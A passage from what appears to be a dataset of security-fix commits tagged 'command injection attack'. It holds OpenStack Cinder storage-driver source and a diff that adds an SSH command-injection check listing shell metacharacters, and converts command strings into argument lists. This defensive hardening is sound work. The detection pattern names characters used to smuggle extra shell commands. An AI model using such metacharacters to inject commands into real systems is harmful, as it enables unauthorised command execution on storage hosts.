self.configuration.eqlx_use_chap: cmd.extend(['authmethod chap', 'username', self.configuration.eqlx_chap_login]) self._eql_execute(*cmd) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to initialize connection to volume %s'), volume['name']) def terminate_connection(self, volume, connector, force=False, **kwargs): \"\"\"Remove access restrictions from a volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to terminate connection to volume %s'), volume['name']) def create_export(self, context, volume): \"\"\"Create an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. \"\"\" pass def ensure_export(self, context, volume): \"\"\"Ensure an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. We will just make sure that the volume exists on the array and issue a warning. \"\"\" try: self._check_volume(volume) except exception.VolumeNotFound: LOG.warn(_('Volume %s is not found!, it may have been deleted'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to ensure export of volume %s'), volume['name']) def remove_export(self, context, volume): \"\"\"Remove an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. Nothing to remove since there's nothing exported. \"\"\" pass def extend_volume(self, volume, new_size): \"\"\"Extend the size of the volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to extend_volume %(name)s from ' '%(current_size)sGB to %(new_size)sGB'), {'name': volume['name'], 'current_size': volume['size'], 'new_size': new_size}) def local_path(self, volume): raise NotImplementedError() ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Volume driver for Dell EqualLogic Storage.\"\"\"\n\nimport functools\nimport random\n\nimport eventlet\nfrom eventlet import greenthread\nimport greenlet\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import utils\nfrom cinder.volume.drivers.san import SanISCSIDriver\n\nLOG = logging.getLogger(__name__)\n\neqlx_opts = [\n cfg.StrOpt('eqlx_group_name',\n default='group-0',\n help='Group name to use for creating volumes'),\n cfg.IntOpt('eqlx_cli_timeout',\n default=30,\n help='Timeout for the Group Manager cli command execution'),\n cfg.IntOpt('eqlx_cli_max_retries',\n default=5,\n help='Maximum retry count for reconnection'),\n cfg.BoolOpt('eqlx_use_chap',\n default=False,\n help='Use CHAP authentication for targets?'),\n cfg.StrOpt('eqlx_chap_login',\n default='admin',\n help='Existing CHAP account name'),\n cfg.StrOpt('eqlx_chap_password',\n default='password',\n help='Password for specified CHAP account name',\n secret=True),\n cfg.StrOpt('eqlx_pool',\n default='default',\n help='Pool in which volumes will be created')\n]\n\n\nCONF = cfg.CONF\nCONF.register_opts(eqlx_opts)\n\n\ndef with_timeout(f):\n @functools.wraps(f)\n def __inner(self, *args, **kwargs):\n timeout = kwargs.pop('timeout', None)\n gt = eventlet.spawn(f, self, *args, **kwargs)\n if timeout is None:\n return gt.wait()\n else:\n kill_thread = eventlet.spawn_after(timeout, gt.kill)\n try:\n res = gt.wait()\n except greenlet.GreenletExit:\n raise exception.VolumeBackendAPIException(\n data=\"Command timed out\")\n else:\n kill_thread.cancel()\n return res\n\n return __inner\n\n\nclass DellEQLSanISCSIDriver(SanISCSIDriver):\n \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management.\n\n To enable the driver add the following line to the cinder configuration:\n volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver\n\n Driver's prerequisites are:\n - a separate volume group set up and running on the SAN\n - SSH access to the SAN\n - a special user must be created which must be able to\n - create/delete volumes and snapshots;\n - clone snapshots into volumes;\n - modify volume access records;\n\n The access credentials to the SAN are provided by means of the following\n flags\n san_ip=\n san_login=\n san_password=\n san_private_key=\n\n Thin provision of volumes is enabled by default, to disable it use:\n san_thin_provision=false\n\n In order to use target CHAP authentication (which is disabled by default)\n SAN administrator must create a local CHAP user and specify the following\n flags for the driver:\n eqlx_use_chap=true\n eqlx_chap_login=\n eqlx_chap_password=\n\n eqlx_group_name parameter actually represents the CLI prompt message\n without '>' ending. E.g. if prompt looks like 'group-0>', then the\n parameter must be set to 'group-0'\n\n Also, the default CLI command execution timeout is 30 secs. Adjustable by\n eqlx_cli_timeout=\n \"\"\"\n\n VERSION = \"1.0.0\"\n\n def __init__(self, *args, **kwargs):\n super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs)\n self.configuration.append_config_values(eqlx_opts)\n self._group_ip = None\n self.sshpool = None\n\n def _get_output(self, chan):\n out = ''\n ending = '%s> ' % self.configuration.eqlx_group_name\n while not out.endswith(ending):\n out += chan.recv(102400)\n\n LOG.debug(_(\"CLI output\\n%s\"), out)\n return out.splitlines()\n\n def _get_prefixed_value(self, lines, prefix):\n for line in lines:\n if line.startswith(prefix):\n return line[len(prefix):]\n return\n\n @with_timeout\n def _ssh_execute(self, ssh, command, *arg, **kwargs):\n transport = ssh.get_transport()\n chan = transport.open_session()\n chan.invoke_shell()\n\n LOG.debug(_(\"Reading CLI MOTD\"))\n self._get_output(chan)\n\n cmd = 'stty columns 255'\n LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd)\n chan.send(cmd + '\\r')\n out = self._get_output(chan)\n\n LOG.debug(_(\"Sending CLI command: '%s'\"), command)\n chan.send(command + '\\r')\n out = self._get_output(chan)\n\n chan.close()\n\n if any(line.startswith(('% Error', 'Error:')) for line in out):\n desc = _(\"Error executing EQL command\")\n cmdout = '\\n'.join(out)\n LOG.error(cmdout)\n raise processutils.ProcessExecutionError(\n stdout=cmdout, cmd=command, description=desc)\n return out\n\n def _run_ssh(self, cmd_list, attempts=1):\n utils.check_ssh_injection(cmd_list)\n command = ' '. join(cmd_list)\n\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n LOG.info(_('EQL-driver: executing \"%s\"') % command)\n return self._ssh_execute(\n ssh, command,\n timeout=self.configuration.eqlx_cli_timeout)\n except processutils.ProcessExecutionError:\n raise\n except Exception as e:\n LOG.exception(e)\n greenthread.sleep(random.randint(20, 500) / 100.0)\n msg = (_(\"SSH Command failed after '%(total_attempts)r' \"\n \"attempts : '%(command)s'\") %\n {'total_attempts': total_attempts, 'command': command})\n raise exception.VolumeBackendAPIException(data=msg)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def _eql_execute(self, *args, **kwargs):\n return self._run_ssh(\n args, attempts=self.configuration.eqlx_cli_max_retries)\n\n def _get_volume_data(self, lines):\n prefix = 'iSCSI target name is '\n target_name = self._get_prefixed_value(lines, prefix)[:-1]\n lun_id = \"%s:%s,1 %s 0\" % (self._group_ip, '3260', target_name)\n model_update = {}\n model_update['provider_location'] = lun_id\n if self.configuration.eqlx_use_chap:\n model_update['provider_auth'] = 'CHAP %s %s' % \\\n (self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n return model_update\n\n def _get_space_in_gb(self, val):\n scale = 1.0\n part = 'GB'\n if val.endswith('MB'):\n scale = 1.0 / 1024\n part = 'MB'\n elif val.endswith('TB'):\n scale = 1.0 * 1024\n part = 'TB'\n return scale * float(val.partition(part)[0])\n\n def _update_volume_stats(self):\n \"\"\"Retrieve stats info from eqlx group.\"\"\"\n\n LOG.debug(_(\"Updating volume stats\"))\n data = {}\n backend_name = \"eqlx\"\n if self.configuration:\n backend_name = self.configuration.safe_get('volume_backend_name')\n data[\"volume_backend_name\"] = backend_name or 'eqlx'\n data[\"vendor_name\"] = 'Dell'\n data[\"driver_version\"] = self.VERSION\n data[\"storage_protocol\"] = 'iSCSI'\n\n data['reserved_percentage'] = 0\n data['QoS_support'] = False\n\n data['total_capacity_gb'] = 'infinite'\n data['free_capacity_gb'] = 'infinite'\n\n for line in self._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show'):\n if line.startswith('TotalCapacity:'):\n out_tup = line.rstrip().partition(' ')\n data['total_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n if line.startswith('FreeSpace:'):\n out_tup = line.rstrip().partition(' ')\n data['free_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n\n self._stats = data\n\n def _check_volume(self, volume):\n \"\"\"Check if the volume exists on the Array.\"\"\"\n command = ['volume', 'select', volume['name'], 'show']\n try:\n self._eql_execute(*command)\n except processutils.ProcessExecutionError as err:\n with excutils.save_and_reraise_exception():\n if err.stdout.find('does not exist.\\n') > -1:\n LOG.debug(_('Volume %s does not exist, '\n 'it may have already been deleted'),\n volume['name'])\n raise exception.VolumeNotFound(volume_id=volume['id'])\n\n def do_setup(self, context):\n \"\"\"Disable cli confirmation and tune output format.\"\"\"\n try:\n disabled_cli_features = ('confirmation', 'paging', 'events',\n 'formatoutput')\n for feature in disabled_cli_features:\n self._eql_execute('cli-settings', feature, 'off')\n\n for line in self._eql_execute('grpparams', 'show'):\n if line.startswith('Group-Ipaddress:'):\n out_tup = line.rstrip().partition(' ')\n self._group_ip = out_tup[-1]\n\n LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"),\n self._group_ip)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to setup the Dell EqualLogic driver'))\n\n def create_volume(self, volume):\n \"\"\"Create a volume.\"\"\"\n try:\n cmd = ['volume', 'create',\n volume['name'], \"%sG\" % (volume['size'])]\n if self.configuration.eqlx_pool != 'default':\n cmd.append('pool')\n cmd.append(self.configuration.eqlx_pool)\n if self.configuration.san_thin_provision:\n cmd.append('thin-provision')\n out = self._eql_execute(*cmd)\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume %s'), volume['name'])\n\n def delete_volume(self, volume):\n \"\"\"Delete a volume.\"\"\"\n try:\n self._check_volume(volume)\n self._eql_execute('volume', 'select', volume['name'], 'offline')\n self._eql_execute('volume', 'delete', volume['name'])\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s was not found while trying to delete it'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete volume %s'), volume['name'])\n\n def create_snapshot(self, snapshot):\n \"\"\"\"Create snapshot of existing volume on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'],\n 'snapshot', 'create-now')\n prefix = 'Snapshot name is '\n snap_name = self._get_prefixed_value(out, prefix)\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create snapshot of volume %s'),\n snapshot['volume_name'])\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'], 'snapshot',\n 'select', snapshot['name'],\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume from snapshot %s'),\n snapshot['name'])\n\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Creates a clone of the specified volume.\"\"\"\n try:\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n out = self._eql_execute('volume', 'select', src_volume_name,\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create clone of volume %s'),\n volume['name'])\n\n def delete_snapshot(self, snapshot):\n \"\"\"Delete volume's snapshot.\"\"\"\n try:\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete snapshot %(snap)s of '\n 'volume %(vol)s'),\n {'snap': snapshot['name'],\n 'vol': snapshot['volume_name']})\n\n def initialize_connection(self, volume, connector):\n \"\"\"Restrict access to a volume.\"\"\"\n try:\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n cmd.extend(['authmethod chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to initialize connection to volume %s'),\n volume['name'])\n\n def terminate_connection(self, volume, connector, force=False, **kwargs):\n \"\"\"Remove access restrictions from a volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'access', 'delete', '1')\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to terminate connection to volume %s'),\n volume['name'])\n\n def create_export(self, context, volume):\n \"\"\"Create an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n \"\"\"\n pass\n\n def ensure_export(self, context, volume):\n \"\"\"Ensure an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation. We will just make\n sure that the volume exists on the array and issue a warning.\n \"\"\"\n try:\n self._check_volume(volume)\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s is not found!, it may have been deleted'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to ensure export of volume %s'),\n volume['name'])\n\n def remove_export(self, context, volume):\n \"\"\"Remove an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n Nothing to remove since there's nothing exported.\n \"\"\"\n pass\n\n def extend_volume(self, volume, new_size):\n \"\"\"Extend the size of the volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to extend_volume %(name)s from '\n '%(current_size)sGB to %(new_size)sGB'),\n {'name': volume['name'],\n 'current_size': volume['size'],\n 'new_size': new_size})\n\n def local_path(self, volume):\n raise NotImplementedError()\n"}}, "msg": "Fixes ssh-injection error while using chap authentication\n\nA space in the command construction was being caught by the\nssh-injection check. The fix is to separate the command strings.\n\nChange-Id: If1f719f9c2ceff31ed5386c53cf60bc7f522f4d7\nCloses-Bug: #1280409"}}, "https://github.com/etaivan/stx-cinder-hpe3iscsi": {"f752302d181583a95cf44354aea607ce9d9283f4": {"url": "https://api.github.com/repos/etaivan/stx-cinder-hpe3iscsi/commits/f752302d181583a95cf44354aea607ce9d9283f4", "html_url": "https://github.com/etaivan/stx-cinder-hpe3iscsi/commit/f752302d181583a95cf44354aea607ce9d9283f4", "message": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3", "sha": "f752302d181583a95cf44354aea607ce9d9283f4", "keyword": "command injection attack", "diff": "diff --git a/cinder/exception.py b/cinder/exception.py\nindex 777ec1283..f23c6fbe6 100644\n--- a/cinder/exception.py\n+++ b/cinder/exception.py\n@@ -606,3 +606,7 @@ class VolumeMigrationFailed(CinderException):\n \n class ProtocolNotSupported(CinderException):\n message = _(\"Connect to volume via protocol %(protocol)s not supported.\")\n+\n+\n+class SSHInjectionThreat(CinderException):\n+ message = _(\"SSH command injection detected\") + \": %(command)s\"\ndiff --git a/cinder/tests/test_storwize_svc.py b/cinder/tests/test_storwize_svc.py\nindex 02b1b59b2..9c2eea8e8 100644\n--- a/cinder/tests/test_storwize_svc.py\n+++ b/cinder/tests/test_storwize_svc.py\n@@ -181,8 +181,7 @@ def _is_invalid_name(self, name):\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n@@ -1156,7 +1155,6 @@ def execute_command(self, cmd, check_exit_code=True):\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs)\ndiff --git a/cinder/utils.py b/cinder/utils.py\nindex c263972d8..d26943837 100644\n--- a/cinder/utils.py\n+++ b/cinder/utils.py\n@@ -129,6 +129,30 @@ def trycmd(*args, **kwargs):\n return (stdout, stderr)\n \n \n+def check_ssh_injection(cmd_list):\n+ ssh_injection_pattern = ['`', '$', '|', '||', ';', '&', '&&', '>', '>>',\n+ '<']\n+\n+ # Check whether injection attacks exist\n+ for arg in cmd_list:\n+ arg = arg.strip()\n+ # First, check no space in the middle of arg\n+ arg_len = len(arg.split())\n+ if arg_len > 1:\n+ raise exception.SSHInjectionThreat(command=str(cmd_list))\n+\n+ # Second, check whether danger character in command. So the shell\n+ # special operator must be a single argument.\n+ for c in ssh_injection_pattern:\n+ if arg == c:\n+ continue\n+\n+ result = arg.find(c)\n+ if not result == -1:\n+ if result == 0 or not arg[result - 1] == '\\\\':\n+ raise exception.SSHInjectionThreat(command=cmd_list)\n+\n+\n def ssh_execute(ssh, cmd, process_input=None,\n addl_env=None, check_exit_code=True):\n LOG.debug(_('Running cmd (SSH): %s'), cmd)\ndiff --git a/cinder/volume/drivers/san/san.py b/cinder/volume/drivers/san/san.py\nindex ad532810e..bdf7767ed 100644\n--- a/cinder/volume/drivers/san/san.py\n+++ b/cinder/volume/drivers/san/san.py\n@@ -100,7 +100,10 @@ def san_execute(self, *cmd, **kwargs):\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\ndiff --git a/cinder/volume/drivers/storwize_svc.py b/cinder/volume/drivers/storwize_svc.py\nindex 85ad8fbec..4e22aa652 100755\n--- a/cinder/volume/drivers/storwize_svc.py\n+++ b/cinder/volume/drivers/storwize_svc.py\n@@ -141,7 +141,7 @@ def __init__(self, *args, **kwargs):\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n@@ -166,7 +166,7 @@ def _get_iscsi_ip_addrs(self):\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n@@ -184,7 +184,7 @@ def do_setup(self, ctxt):\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -197,7 +197,7 @@ def do_setup(self, ctxt):\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n@@ -210,7 +210,7 @@ def do_setup(self, ctxt):\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -346,8 +346,7 @@ def _add_chapsecret_to_host(self, host_name):\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -360,7 +359,7 @@ def _get_chap_secret_for_host(self, host_name):\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -426,7 +425,7 @@ def _connector_to_hostname_prefix(self, connector):\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -456,7 +455,7 @@ def _find_host_from_wwpn(self, connector):\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n@@ -487,7 +486,7 @@ def _get_host_from_connector(self, connector):\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -541,15 +540,18 @@ def _create_host(self, connector):\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n@@ -560,7 +562,7 @@ def _get_hostvdisk_mappings(self, host_name):\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n@@ -600,11 +602,8 @@ def _map_vol_to_host(self, volume_name, host_name):\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n@@ -614,8 +613,11 @@ def _map_vol_to_host(self, volume_name, host_name):\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n@@ -636,7 +638,7 @@ def _delete_host(self, host_name):\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -646,7 +648,7 @@ def _delete_host(self, host_name):\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n@@ -820,8 +822,8 @@ def terminate_connection(self, volume, connector, **kwargs):\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n@@ -852,13 +854,13 @@ def _get_vdisk_attributes(self, vdisk_name):\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n@@ -921,31 +923,27 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n@@ -964,12 +962,10 @@ def _create_vdisk(self, name, size, units, opts):\n 